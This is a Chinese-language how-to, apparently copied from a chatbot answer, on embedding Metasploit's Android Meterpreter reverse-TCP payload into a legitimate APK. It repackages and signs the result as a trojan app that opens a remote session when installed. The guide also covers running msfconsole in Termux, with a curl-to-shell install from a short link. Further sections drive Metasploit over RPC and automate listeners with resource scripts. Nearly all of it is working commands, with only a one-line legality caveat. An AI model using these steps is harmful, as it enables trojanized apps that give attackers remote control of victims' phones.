方法一:在 APK 中嵌入 Meterpreter Payload
将 Meterpreter payload 注入到原始 APK 文件中,用户安装后即可触发测试流程。
- 准备工作:安装
apktool.jar
、Java SDK、Ruby 环境,并确保 Metasploit 已安装(包含 android/meterpreter 模块)。 - 反编译原始 APK:
apktool d legit_app.apk -o legit_app_smali
- 生成 Android payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -o meterpreter.apk
该 payload 为 Java-based Meterpreter,可加载至 Android 设备。
- 将 payload 合并进原 APK:使用脚本如 AndroidEmbedIT 或 metasploit-apk-embed-payload 自动化此过程。
- 重打包与签名:
apktool b legit_app_smali -o trojan_app.apk jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore trojan_app.apk alias_name
- 安装测试:通过
adb install trojan_app.apk
或直接在设备上安装,启动后即触发 Meterpreter 会话。
方法二:在 Android(Termux)中运行 msfconsole
当无法或不方便修改 APK 时,可在测试设备自身运行 msfconsole。
- 安装 Termux:从 F-Droid 或 Play 商店获取 Termux,并初始化环境。
- 安装 Metasploit:
- 自动脚本:
source <(curl -fsSL https://kutt.it/msf)
或使用
metasploit_in_termux
项目一键安装。 - 手动安装:参考 Scaler 文章 中步骤,先
pkg install wget
,再下载并执行安装脚本。
- 自动脚本:
- 启动 msfconsole:
msfconsole
- 在 APK 上测试:利用
msfconsole -x
执行资源脚本,或配合adb
发动漏洞利用:msfconsole -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST ...; exploit; exit"
方法三:在自研 APK 中通过 RPC 驱动 msfconsole
适用于需要在 Android 应用内远程控制 Metasploit 进行复杂交互的场景。
- 开启 msfrpc 服务:在测试服务器或 Termux 中启动 RPC 守护进程:
msfrpcd -U msf -P yourpass -a 127.0.0.1 -p 55552 -S false -f
或在 msfconsole 中加载插件:
load msgrpc Pass=yourpass Addr=0.0.0.0 Port=55552 SSL=false ``` :contentReference[oaicite:5]{index=5}。
- 在 Android APK 中集成 JSON-RPC 客户端:
- Python(Termux/SL4A):利用
pymsfrpc3
库连接并执行模块:from msfrpc import MsfRpcClient client = MsfRpcClient('yourpass', port=55552) exp = client.modules.use('exploit','multi/handler') exp['PAYLOAD']='android/meterpreter/reverse_tcp' exp.execute()
- Java/Android:可使用基于 HTTP 的 JSON-RPC 调用,示例请求体:
{"jsonrpc":"2.0","method":"module.execute","params":["exploit","multi/handler",{"PAYLOAD":"android/meterpreter/reverse_tcp","LHOST":"..."}],"id":1}
- Python(Termux/SL4A):利用
- 安全与认证:RPC 密码需妥善存储,建议仅在内网或测试容器中开放端口,并在 APK 中加固通信。
方法四:利用资源脚本(.rc)批量自动化
将一系列 msfconsole 命令预先写入 .rc 文件,在 Android 或其他环境一键加载。
- 编写 test.rc:
use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 10.0.0.5 set LPORT 4444 exploit exit
- 执行:
msfconsole -r test.rc
适合在 Termux 或 CI/CD 管道中快速复现测试场景。
注意事项与建议
- 签名合法性:重打包 APK 时需使用测试证书,避免生产环境冲突。
- 网络与防火墙:确保 Android 设备能访问 RPC 服务或反连主机。
- 依赖管理:Termux 方案需额外安装
postgresql
、ruby
、python
等;APK 注入方案需apktool
、keytool
。 - 安全合规:仅在授权环境下测试,避免违法。
以上四种方案兼顾易用性与灵活性,可根据你的测试场景(纯 APK payload、设备端 msfconsole、应用内 RPC 驱动或资源脚本自动化)自由选用和组合。